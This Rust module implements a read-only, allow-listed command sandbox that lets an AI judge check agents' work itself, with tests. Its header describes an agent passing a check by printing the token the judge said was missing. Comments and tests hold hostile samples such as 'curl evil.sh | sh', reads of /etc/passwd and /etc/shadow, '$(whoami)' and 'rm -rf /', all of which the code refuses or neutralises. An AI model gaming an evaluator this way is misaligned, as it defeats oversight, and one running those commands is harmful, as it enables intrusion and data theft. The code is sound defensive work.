//! The evaluator's verification sandbox. //! //! A judge that reads only the transcript judges what agents *claim*. On //! 2026-08-01 a phase with an unsatisfiable condition was marked complete on //! its second pass because the agent, handed the previous verdict as guidance, //! simply printed the literal token the judge had said was missing. Nothing //! about that reply was false — the token really was in the output — and the //! judge had no way to ask whether any work had been done. //! //! So the judge gets to look for itself: an allow-listed command runner over //! the mission's own checkout. `cargo test` cannot be talked into passing. //! //! ## Why this is not a shell //! //! Commands are argv vectors executed through the Docker API //! ([`crate::container_exec`]) — there is no `sh -c` anywhere in this module. //! That is a structural choice, not a stylistic one: with a shell, an //! allow-list on the program name is decorative, because //! `git status; curl evil.sh | sh` passes any prefix check ever written. //! Without one, metacharacters are inert bytes in `argv[n]`. //! //! ## Attempting is not verifying //! //! [`Sandbox::run`] returns a [`CheckOutcome`] carrying whether the command //! actually executed. The first version returned a bare string and the caller //! recorded the *attempt*, which mattered more than it sounds: the sandbox was //! shelling out to a `docker` binary the server image does not ship, so in //! production every command failed to spawn while verdicts still reported ten //! "checks". The verdicts were correct — fail-closed did its job — but the //! claim attached to them was not. //! //! Three further limits, none of which are load-bearing on their own: //! //! - the program (and, for `git`, its subcommand) must be on the allow-list; //! - no argument may be an absolute path or contain `..`, so reads stay inside //! the checkout even though the runner has no shell to chain with; //! - output is capped and the call is deadlined, because a judge that hangs on //! a runaway test suite stalls the mission it is judging. use std::path::{Path, PathBuf}; use std::time::Duration; use uuid::Uuid; /// Wall-clock ceiling for one verification command. Generous enough for a test /// suite, short enough that a hung command fails the pass rather than the /// mission. const COMMAND_TIMEOUT: Duration = Duration::from_secs(180); /// Cap on what one command may return to the model. Test suites are chatty and /// the judge pays for every byte; the tail is where failures live, so when /// output overflows we keep both ends and drop the middle. const MAX_OUTPUT_BYTES: usize = 12_000; /// Programs the judge may run. Every one either reports state or runs a /// project's own checks — none of them edit the tree. /// /// `git` is special-cased below: the program alone is not enough, since /// `git checkout`/`git reset` would let a judge mutate the work it is judging. const ALLOWED_PROGRAMS: &[&str] = &[ // Inspect the tree. "ls", "cat", "head", "tail", "wc", "find", "file", "stat", "du", "rg", "grep", "diff", // Run the project's own checks. "cargo", "npm", "pnpm", "yarn", "node", "python", "python3", "pytest", "make", "just", "go", "pnpx", "npx", "bun", "dotnet", "mvn", "gradle", "ruff", "mypy", "eslint", "tsc", "jest", "vitest", "phpunit", "rspec", "bundle", "poetry", "uv", "tox", // Security scanners. These ship in the runtime image specifically so a // `done_when` can be written about them ("gitleaks reports no secrets"), // and a judge that cannot invoke them has to fall back to asking the // agents — which is the failure this module exists to prevent. Installing // them without allow-listing them left exactly that gap. "gitleaks", "trivy", "semgrep", // Locate a tool before running it. Cheap, read-only, and it saves the // judge from concluding a tool is missing when the real answer is that it // guessed the wrong name. "which", // Version control, narrowed by subcommand. "git", ]; /// `git` subcommands that only read. `checkout`, `reset`, `clean`, `commit`, /// `push` and friends are absent deliberately — the judge must not be able to /// alter, discard, or publish the work it is evaluating. const ALLOWED_GIT_SUBCOMMANDS: &[&str] = &[ "status", "diff", "log", "show", "ls-files", "blame", "shortlog", "describe", "rev-parse", "rev-list", "cat-file", "grep", "config", ]; /// Why a command was refused. Returned to the model as a tool result so it can /// adapt, and logged so an operator can see a judge probing the boundary. #[derive(Debug, Clone, PartialEq, Eq)] pub enum Refusal { Empty, Program(String), GitSubcommand(String), AbsolutePath(String), ParentEscape(String), } impl std::fmt::Display for Refusal { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self { Refusal::Empty => write!(f, "no command given"), Refusal::Program(p) => write!( f, "`{p}` is not an allowed verification command. Allowed: inspection \ (ls, cat, rg, grep, find, wc, diff), read-only git, and project \ test runners (cargo, npm, pytest, make, …)." ), Refusal::GitSubcommand(s) => write!( f, "`git {s}` can modify the repository. Only read-only git is available \ (status, diff, log, show, ls-files, blame, rev-parse, …)." ), Refusal::AbsolutePath(a) => write!( f, "`{a}` is an absolute path. Verification is scoped to the mission \ checkout; use paths relative to the repository root." ), Refusal::ParentEscape(a) => write!( f, "`{a}` climbs above the repository root. Verification is scoped to \ the mission checkout." ), } } } /// Validate one argv against the allow-list. Pure, so the policy is testable /// without Docker, a checkout, or a model. pub fn check_argv(argv: &[String]) -> Result<(), Refusal> { let Some(program) = argv.first() else { return Err(Refusal::Empty); }; // Reject a qualified path to a binary (`/usr/bin/env`, `./script.sh`) // rather than trying to resolve it — the allow-list names programs. if program.contains('/') || !ALLOWED_PROGRAMS.contains(&program.as_str()) { return Err(Refusal::Program(program.clone())); } if program == "git" { // The first non-flag argument is the subcommand. let sub = argv[1..].iter().find(|a| !a.starts_with('-')); match sub { None => return Err(Refusal::GitSubcommand("".into())), Some(s) if !ALLOWED_GIT_SUBCOMMANDS.contains(&s.as_str()) => { return Err(Refusal::GitSubcommand(s.clone())); } Some(_) => {} } } for arg in &argv[1..] { // A leading `-` is a flag, not a path; `--foo=/abs` is checked too. let candidate = arg.split_once('=').map(|(_, v)| v).unwrap_or(arg); if candidate.starts_with('/') { return Err(Refusal::AbsolutePath(arg.clone())); } if candidate.split(['/', '\\']).any(|seg| seg == "..") { return Err(Refusal::ParentEscape(arg.clone())); } } Ok(()) } /// Keep a command's output within [`MAX_OUTPUT_BYTES`], preserving the head /// and the tail. A truncated middle is stated rather than silently elided, so /// the judge knows it is looking at a partial view. pub fn clamp_output(s: &str) -> String { if s.len() <= MAX_OUTPUT_BYTES { return s.to_string(); } let keep = MAX_OUTPUT_BYTES / 2; // Slice on char boundaries so multi-byte output can't panic. let head_end = (0..=keep) .rev() .find(|i| s.is_char_boundary(*i)) .unwrap_or(0); let tail_start = (s.len().saturating_sub(keep)..s.len()) .find(|i| s.is_char_boundary(*i)) .unwrap_or(s.len()); let dropped = tail_start.saturating_sub(head_end); format!( "{}\n\n… [{dropped} bytes of output omitted] …\n\n{}", &s[..head_end], &s[tail_start..] ) } /// A checkout the judge may run verification commands against. #[derive(Debug, Clone)] pub struct Sandbox { container: String, workdir: PathBuf, } impl Sandbox { /// Build a sandbox for `mission_id`, or `None` when the mission has no /// checkout on disk (a research-only phase, typically). /// /// Returning `None` rather than an empty sandbox matters: the evaluator /// prompt changes shape depending on whether verification is possible, and /// a judge must never be told it can check something it cannot. pub fn for_mission(mission_id: Uuid) -> Option { let workdir = crate::mission_workspace::checkout_path(mission_id); if !workdir.is_dir() { return None; } let container = std::env::var("CLAWMATES_RUNTIME_CONTAINER") .unwrap_or_else(|_| "clawmates-runtime".to_string()); Some(Sandbox { container, workdir }) } /// Construct against an explicit path. Test seam. pub fn at(container: impl Into, workdir: impl AsRef) -> Sandbox { Sandbox { container: container.into(), workdir: workdir.as_ref().to_path_buf(), } } pub fn workdir(&self) -> &Path { &self.workdir } /// Run one verification command. /// /// Refusals, non-zero exits, and transport failures all come back as a /// `CheckOutcome` rather than an error: they are *evidence*, and the judge /// should see "3 tests failed" or "that command is not allowed" and reason /// about it rather than have the pass collapse. /// /// The `ran` flag is the part that must not be inferred from the presence /// of an outcome. A command the allow-list refused, and a command that /// never reached the daemon, both produce evidence text — but neither /// verified anything, and a verdict that rests on them is resting on the /// agents' claims. pub async fn run(&self, argv: &[String]) -> CheckOutcome { if let Err(refusal) = check_argv(argv) { eprintln!( "evaluator_tools: refused {:?} in {} — {refusal}", argv, self.workdir.display() ); return CheckOutcome::refused(argv, format!("REFUSED: {refusal}")); } let docker = match crate::container_exec::connect() { Ok(d) => d, Err(e) => return CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")), }; let workdir = self.workdir.display().to_string(); let out = crate::container_exec::exec_with_env( &docker, &self.container, Some(&workdir), argv, &git_ownership_env(&workdir), COMMAND_TIMEOUT, ) .await; match out { Err(e) => CheckOutcome::could_not_run(argv, format!("COULD NOT RUN: {e}")), Ok(out) => { let mut body = String::new(); // The exit status is stated first because it is the part a // judge most often needs and most often infers wrongly from // prose output. match out.exit_code { Some(code) => body.push_str(&format!("exit status: {code}\n")), None => body.push_str("exit status: unknown (still running?)\n"), } if !out.stdout.trim().is_empty() { body.push_str("--- stdout ---\n"); body.push_str(&out.stdout); } if !out.stderr.trim().is_empty() { body.push_str("\n--- stderr ---\n"); body.push_str(&out.stderr); } CheckOutcome { argv: argv.to_vec(), ran: true, refused: false, exit_code: out.exit_code, evidence: clamp_output(&body), } } } } } /// Let git read a checkout it does not own — including from inside another /// tool. /// /// The server clones the mission repo as uid 65532; the runtime container the /// judge execs into runs as root. Git's ownership check then refuses the /// repository: /// /// ```text /// fatal: detected dubious ownership in repository at '/var/lib/clawmates-missions//repo' /// ``` /// /// The first fix rewrote `git` argv to carry `-c safe.directory=…`, which /// worked for `git status` and did nothing for `gitleaks`, which runs git /// itself. Observed on mission 019fc073: git reported a clean tree while /// gitleaks "scanned 0 commits" and the judge — correctly — refused to call /// the condition met. /// /// `GIT_CONFIG_COUNT`/`_KEY_n`/`_VALUE_n` is git's documented environment form /// of `-c`, and it is inherited, so one setting covers git, gitleaks, trivy, /// semgrep and anything else that shells out. Scoped to this checkout; never /// `--global`, which would disable the protection container-wide for every /// path. fn git_ownership_env(workdir: &str) -> Vec { vec![ "GIT_CONFIG_COUNT=1".to_string(), "GIT_CONFIG_KEY_0=safe.directory".to_string(), format!("GIT_CONFIG_VALUE_0={workdir}"), ] } /// One verification command and what became of it. /// /// This exists because the first version recorded *attempted* commands. The /// evaluator pushed each argv into its `checks` list before running it, so a /// verdict reached with a broken sandbox reported "verified by 10 checks" /// while zero had executed — a stronger claim than "no checks at all", made on /// weaker evidence. Whether a command ran is now carried, not inferred. #[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] pub struct CheckOutcome { pub argv: Vec, /// The command executed in the container and returned a status. pub ran: bool, /// The allow-list rejected it before execution. pub refused: bool, pub exit_code: Option, /// What the judge was shown. pub evidence: String, } impl CheckOutcome { fn refused(argv: &[String], evidence: String) -> CheckOutcome { CheckOutcome { argv: argv.to_vec(), ran: false, refused: true, exit_code: None, evidence, } } fn could_not_run(argv: &[String], evidence: String) -> CheckOutcome { CheckOutcome { argv: argv.to_vec(), ran: false, refused: false, exit_code: None, evidence, } } /// Rendered for the operator: `cargo test → exit 0`. pub fn summary(&self) -> String { let cmd = self.argv.join(" "); if self.refused { return format!("{cmd} → refused"); } match (self.ran, self.exit_code) { (true, Some(code)) => format!("{cmd} → exit {code}"), (true, None) => format!("{cmd} → status unknown"), (false, _) => format!("{cmd} → could not run"), } } } #[cfg(test)] mod tests { use super::*; fn argv(parts: &[&str]) -> Vec { parts.iter().map(|s| s.to_string()).collect() } #[test] fn allows_inspection_and_test_runners() { for cmd in [ vec!["cargo", "test"], vec!["cargo", "test", "--", "--nocapture"], vec!["npm", "test"], vec!["pytest", "-q"], vec!["rg", "TODO", "src"], vec!["cat", "README.md"], vec!["ls", "-la"], ] { assert!(check_argv(&argv(&cmd)).is_ok(), "{cmd:?} should be allowed"); } } /// The scanners exist in the runtime image so conditions can be written /// about them. Shipping the binaries without allow-listing them left the /// judge unable to run the very tools installed for it — observed on /// mission 019fc058, where `gitleaks detect` came back `ran=false` and the /// judge had to say it could not verify. #[test] fn security_scanners_are_runnable() { for cmd in [ vec!["gitleaks", "detect", "--no-git"], vec!["trivy", "fs", "."], vec!["semgrep", "--config=auto"], vec!["cargo", "audit"], vec!["which", "gitleaks"], ] { assert!( check_argv(&argv(&cmd)).is_ok(), "{cmd:?} must be runnable — it is installed in the runtime image" ); } } #[test] fn refuses_programs_off_the_list() { assert_eq!( check_argv(&argv(&["curl", "https://example.com"])), Err(Refusal::Program("curl".into())) ); assert_eq!( check_argv(&argv(&["rm", "-rf", "src"])), Err(Refusal::Program("rm".into())) ); assert_eq!(check_argv(&[]), Err(Refusal::Empty)); } /// The allow-list names programs, so a path that merely *ends* in an /// allowed name must not slip through. #[test] fn refuses_a_qualified_path_to_a_binary() { assert_eq!( check_argv(&argv(&["/usr/bin/cargo", "test"])), Err(Refusal::Program("/usr/bin/cargo".into())) ); assert_eq!( check_argv(&argv(&["./cargo"])), Err(Refusal::Program("./cargo".into())) ); } /// A judge must not be able to change or discard the work it is judging. #[test] fn refuses_git_subcommands_that_mutate() { for sub in ["checkout", "reset", "clean", "commit", "push", "stash"] { assert_eq!( check_argv(&argv(&["git", sub])), Err(Refusal::GitSubcommand(sub.into())), "git {sub} must be refused" ); } for sub in ["status", "diff", "log", "show", "ls-files"] { assert!(check_argv(&argv(&["git", sub])).is_ok(), "git {sub}"); } } #[test] fn reads_stay_inside_the_checkout() { assert_eq!( check_argv(&argv(&["cat", "/etc/passwd"])), Err(Refusal::AbsolutePath("/etc/passwd".into())) ); assert_eq!( check_argv(&argv(&["cat", "../../secrets.env"])), Err(Refusal::ParentEscape("../../secrets.env".into())) ); assert_eq!( check_argv(&argv(&["rg", "--file=/etc/shadow", "x"])), Err(Refusal::AbsolutePath("--file=/etc/shadow".into())) ); // A `..` inside a longer name is a legitimate filename, not an escape. assert!(check_argv(&argv(&["cat", "weird..name.txt"])).is_ok()); } /// There is no shell, so these are inert argument bytes rather than /// command separators. The point of the test is that the validator does /// not need to reason about metacharacters at all — the execution model /// already removed the class of bug. #[test] fn shell_metacharacters_are_not_special() { assert!(check_argv(&argv(&["rg", "foo;bar", "src"])).is_ok()); assert!(check_argv(&argv(&["rg", "$(whoami)"])).is_ok()); assert!(check_argv(&argv(&["grep", "a && b"])).is_ok()); // …but a disallowed program is still disallowed however it is spelled. assert!(check_argv(&argv(&["sh", "-c", "ls"])).is_err()); assert!(check_argv(&argv(&["bash", "-c", "ls"])).is_err()); } /// The exception must reach tools that invoke git internally, not just /// `git` itself — the first version rewrote argv and left gitleaks /// scanning 0 commits. #[test] fn git_ownership_is_set_by_environment_so_subprocesses_inherit_it() { let env = git_ownership_env("/missions/abc/repo"); assert_eq!( env, vec![ "GIT_CONFIG_COUNT=1".to_string(), "GIT_CONFIG_KEY_0=safe.directory".to_string(), "GIT_CONFIG_VALUE_0=/missions/abc/repo".to_string(), ] ); // Scoped to the one checkout. `--global`, or a bare `*`, would switch // the protection off for every path in the container. assert!(!env.iter().any(|e| e.contains('*'))); assert!(!env.iter().any(|e| e.contains("--global"))); } // ── What a check may claim about itself ──────────────────────────── /// The property the whole struct exists for. A refused command and an /// unreachable daemon both produce evidence text; neither verified /// anything, and only `ran` may be used to say otherwise. #[test] fn only_an_executed_command_counts_as_having_run() { let refused = CheckOutcome::refused(&argv(&["rm", "-rf", "/"]), "REFUSED: no".into()); assert!(!refused.ran, "a refused command did not verify anything"); assert!(refused.refused); assert_eq!(refused.exit_code, None); let broken = CheckOutcome::could_not_run(&argv(&["cargo", "test"]), "COULD NOT RUN".into()); assert!( !broken.ran, "a command that never reached the daemon did not verify anything" ); assert!( !broken.refused, "not refused — the allow-list said yes; the transport failed" ); let real = CheckOutcome { argv: argv(&["cargo", "test"]), ran: true, refused: false, exit_code: Some(0), evidence: "exit status: 0".into(), }; assert!(real.ran); } #[test] fn summary_distinguishes_the_three_outcomes() { assert_eq!( CheckOutcome::refused(&argv(&["git", "push"]), String::new()).summary(), "git push → refused" ); assert_eq!( CheckOutcome::could_not_run(&argv(&["cargo", "test"]), String::new()).summary(), "cargo test → could not run" ); assert_eq!( CheckOutcome { argv: argv(&["cargo", "test"]), ran: true, refused: false, exit_code: Some(101), evidence: String::new(), } .summary(), "cargo test → exit 101" ); } #[test] fn clamp_keeps_both_ends_and_says_what_it_dropped() { let short = "all good"; assert_eq!(clamp_output(short), short); let long = "x".repeat(MAX_OUTPUT_BYTES * 2); let clamped = clamp_output(&long); assert!(clamped.len() < long.len()); assert!(clamped.contains("bytes of output omitted")); assert!(clamped.starts_with('x'), "keeps the head"); assert!( clamped.ends_with('x'), "keeps the tail — failures live there" ); } #[test] fn clamp_does_not_panic_on_multibyte_output() { let long = "é".repeat(MAX_OUTPUT_BYTES); let _ = clamp_output(&long); } }